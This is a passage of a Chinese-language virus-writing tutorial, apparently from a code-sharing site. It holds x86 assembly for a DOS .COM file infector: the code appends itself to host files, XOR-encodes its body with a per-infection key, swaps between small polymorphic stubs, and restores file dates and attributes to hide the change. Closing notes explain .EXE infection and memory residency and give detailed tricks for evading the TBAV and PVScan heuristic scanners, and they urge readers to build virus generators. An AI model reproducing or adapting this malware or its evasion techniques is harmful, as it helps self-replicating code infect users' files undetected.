📄 bingdu.txt
字号:
mov ah,40h ;原本的4 bytes 我们已经存起来了...还记得吗?
mov cx,jmp_long_bytes
lea dx,jmp_4_bytes[bp]
int 21h
jc write_p ;错了...不太可能吧?
lea si,start[bp] ;现在再把一切病毒本体(可执行的)搬到我们设的DTA
lea di,dta_addr[bp+80h] ;後面吧!!...干嘛?? 玩多形呀!!
mov cx,(virus_size+1)/2 ;这次用+1 再除2 ...不会漏掉bytes 且不怕盖
rep movsw ;到东西啦!!
mov ax,4202h ;移动档案指位器到後面....因为是 .com
xor cx,cx ;所以 ax 传回的就是原长了...
xor dx,dx ;事实上也可以用刚才储存的呀!!
int 21h ;随你高兴...为啥这样用...因为我忘记了嘛!! :(
push ax ;先储存起来....还要用!!
;多形开始...把长度取得0/1/2/3 等值
and ax,03 ;事实上..你也可以取时间嘛!!
mov cx,cha_long ;0/1/2/3 这四种...将用作 call & pop 後的
lea si,way1[bp] ;多形小段...(最前面的啦!!)
lea di,dta_addr[bp+80h+head_cd] ;小心!!不要盖错!!
mul cx ;由0/1/2/3 ..我们可以取得要的多形方式...
add si,ax ;当然长度都一定!!
rep movsb ;随便抓到一种...盖过去吧!!
pop ax ;把原长拿出来...减掉4 ...还记得吗? 最前面 call & set
sub ax,jmp_long_bytes ;之前有4个nop 刚好4 bytes ...bp 的奥秘呀!!
call coder2 ;编码啦!!(多形的呦!!) 先过去看一看...走!!
mov ah,40h ;多形编码弄完就要...写进去啦!!
mov cx,virus_size
lea dx,dta_addr[bp+80h] ;要写编过的那只!!
int 21h
write_p:
pop ax ;这里为啥来个 pop ax 呢? 这个目录已任务完成...不玩了!
c_file: ;等最底下的 ret ...後..就直接跳回 dir_loop啦!!
;若是从他处跳到这里...下面的 ret 就会回到 inflect_file
mov ax,5701h ;那个call 里...不离开...为啥?? 任务没做呀!!
mov cx,word ptr [offset file_time+bp] ;恢复日期和时间!!
mov dx,word ptr [offset file_date+bp]
int 21h
;关档...
mov ah,3eh
int 21h ;那为何在关档後才恢复属性呢??
;....你可以试试放在前面....保证错误!!
lea dx,dta_addr[bp+1eh]
xor cx,cx ;属性恢复吧!!
mov cl,byte ptr [offset file_attr+bp]
mov ax,4301h
int 21h
ret ; 回去啦!!
check_file ENDP
coder2 PROC NEAR ;来啦!! 刚才...我们的 ax ...事实上就是下次由被感染的档
lea si,dta_addr[bp+80h+virus_cd] ;所call ..算得的bp 啦...只是我们
mov cx,(virus_c1-1)/2 ;现在就先帮它算!! 否则..用bp 解码..怎解
enc2: ;得那麽准??
xor word ptr[si],ax ;这段..你可以跟最初我们的jmp coder 那比比看...
add si,2 ;你会发觉有异曲同工之妙呦!!
loop enc2 ;编码完...回去啦!!
ret
coder2 ENDP
int24: ;我们的 int24h 常式
pop ax ;把旗标 pop 出来
or ax,01h ;设定为 carry !!
push ax ;丢回去!!
iret ;完成
first_4_bytes db 0b4h,4ch,0cdh,21h ;那4 个机器码,正是 mov ah,4ch /int 21h
jmp_4_bytes db 0e9h,00,00,'K' ;那是 jmp+跳跃值+'K'mark
dotdot db '..',0 ;父目录的 asciiz
file_mark db '*.com',0 ;这个我不知道是啥耶.... :)
way1:
mov ax,offset set ;以下的都是...在 call & set 後的 小多形段!!
sub ax,bp
neg ax
nop
xchg bp,ax
way2:
mov bx,offset set
sub bx,bp
neg bx
xchg bx,bp
way3:
mov cx,offset set
sub cx,bp
neg cx
xchg bp,cx
way4:
mov dx,offset set
sub dx,bp
neg dx
xchg dx,bp
e1_coder: ;编码结束....
coder: ;来啦!! 我们跳到此处是为了编码和解码
lea si,b1_coder[bp] ;因为母程式所得的bp是0 ,所以...xor 後
mov cx,(virus_c1-1)/2 ;不影响..天衣无缝!! 看到那 cx 了吗?
enc: ;如果你的 virus_c1 是奇数...你用+1 再除2
xor word ptr [si],bp ;保证解码盖到 lea si...那行指令!!
add si,2 ;咱们用 bp 作为解码key ...嘻...
loop enc ;bp 是因感染不同而不同....算不算多形呀??
jmp b1_coder ;怎算来的...等一下会说!!
;跳回去罗!!
start_end: ;整个病毒长到此为止!!
;以下的是临时徵招的...
int24_addr dw ?
dw ?
file_attr db ?
file_time dw ?
file_date dw ?
file_size dd ?
now_dir db 64 DUP(0)
dta_addr db 0
head_cd EQU b_replace-start
cha_long EQU e_replace-b_replace
virus_cd EQU b1_coder-start
virus_c1 EQU e1_coder-b1_coder
virus_size EQU start_end-start
jmp_long_bytes EQU 4
ONE ENDS
END begin
<备注>:
关於 .exe 档的感染方法...,你必须要有档头的参考资料....
其中要改的是 档案size(包括你的病毒加原程式除512 的商+1 & 余数)
/ss /sp /ip /cs 值...等写入原档头,当然原 ss,sp,ip,cs 都要保留起来..
因为载入 .exe 时是把病毒和原程式长一起丢到记忆体...但你的病毒是先
执行的(大多在原程式後面...),要还回控制权时...你可以将原DTA 的segment
(病毒执行时要算出来,且暂时保留)加上原档头的cs,再用 far jmp 回去!!
所谓 far jmp 是 0eah + ip:cs 共 5 bytes.
因为运算繁杂...我就不说啦~~
关於常驻型...抱歉..小弟还在找地方常驻....你可以放在640k 去偷减的地方
但要把0413 处的记忆体长度改好呦!!....不过放那边虽不会被盖到...
但却是极容易被发现的!!
<好玩的>:
关於Pvscan 0.2 和tbav 的 AI ...我个人认为是满好骗的!!
前面我之所以不用
call set
set:pop bp
mov cx,offset set
sub bp,cx
是因为此两种AV 都咬此处....
tbav 是以此判断是否有感染能力,当然若你的病毒没有编码,它就会揪出
一大堆旗标...什麽不正常的档案搜寻啦..一大堆!!
解决方法...要编码!! 且你解码的方式要测试...就是改呀!! 因为..它把一些
编码视为anti-AV-tracing 的目的...所以...解码的方式...有创意一点...
但别认为愈短愈好!! ..经过我的测试...用土方法像笨笨的 lodsb/stosb ...
反而它不抓!!
pvscan 0.2 更夸张...只咬此处...它认为若此处没有搜到...表示无法感染
档案,非病毒之特性.... 根本不管後面我们有没有编码!!扫也不扫!!
可是谁得咱们换方法!!
它就没辄啦!!
但是,据我测试,Pvscan 0.2 抓那个定址参考值处,相当严格!!
以下的都会被揪出!!
call set
set:pop bp
mov ax,offset set
sub bp,ax
(^^^不管你用 ax,bx...啥它都会咬!!)
你也别想先用其他暂存器代替 bp ...它也咬!!
连这方法它咬!!
call set
set:mov bp,sp
mov bp,word ptr[bp]
mov cx,offset cx
sub bp,cx
pop ax
....(暂存器换了也没用)...照咬!!
所以问题出在sub 上!!
我们可以换 cx 去减bp 然後再取负数呀!!
甚至...我前面用的
mov cx,offset set
call set
set:dec bp
loop set
虽然笨了一点但也可以呀!! (前面中间夹nop 是为了小段多形长度)
你或许会问若是它将来抓 call set 的码(因为目前那後面偏移值是0000)
那我们不会在 call 与 set 中加些垃圾...再把 offset 的暂存器处理一下
就好了嘛!!
.......事实上...以上的那只毒并不是很好....但你若了解後,就可以
自己做一只啦!!更多形的! 也许上面那只不是真正的多形...但是..却是我
想得很久搞出来的呦!!反正依长度不同而不同...也符合多形的要求啦!!
<其他>:
好啦!!快开学啦!!小弟我也只能偶尔玩玩毒,改改版啦...病毒总要进步吧!!
别每次都重作一只呦!! 麻烦死了...好的地方你把它模组化...久了以後..
那些各个片段都很有弹性...你一但有很多有模组化的病毒片段....你猜可以
做什麽?? <<<你自己的病毒产生器!!!>>>
听小弟的建议...写毒...可以! 发作部份...希望你拿出你的良心!!
因为今天你做狠毒的那种...下次你也会遭别人毒手!! 那正是因果循环!!
拿出你的热心与良知去研究病毒吧!!
还有!还有!! 不要被当掉!! 写毒要玩!!课业也要顾!!毕竟那才是正途呀!! :)
......好啦! 一切後会有期!!
掰白!!
<<written by htk >>
ps:经小弟用pvscan 0.3 测试....以上之病毒会被揪出来,但更可肯定....
pvscan 系列是咬 sub 处....所以上述之 way1/way2 ...会被扫到!
但若是您的病毒只用我最前面的 dec 那一段...而乎略不采用 way1/way2..
或改用其他方式取偏移值,pvscan 0.3 依然扫不到!
所以.....同理可证...吾人只要在定址处稍加心思.....
祝 各位好运!
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -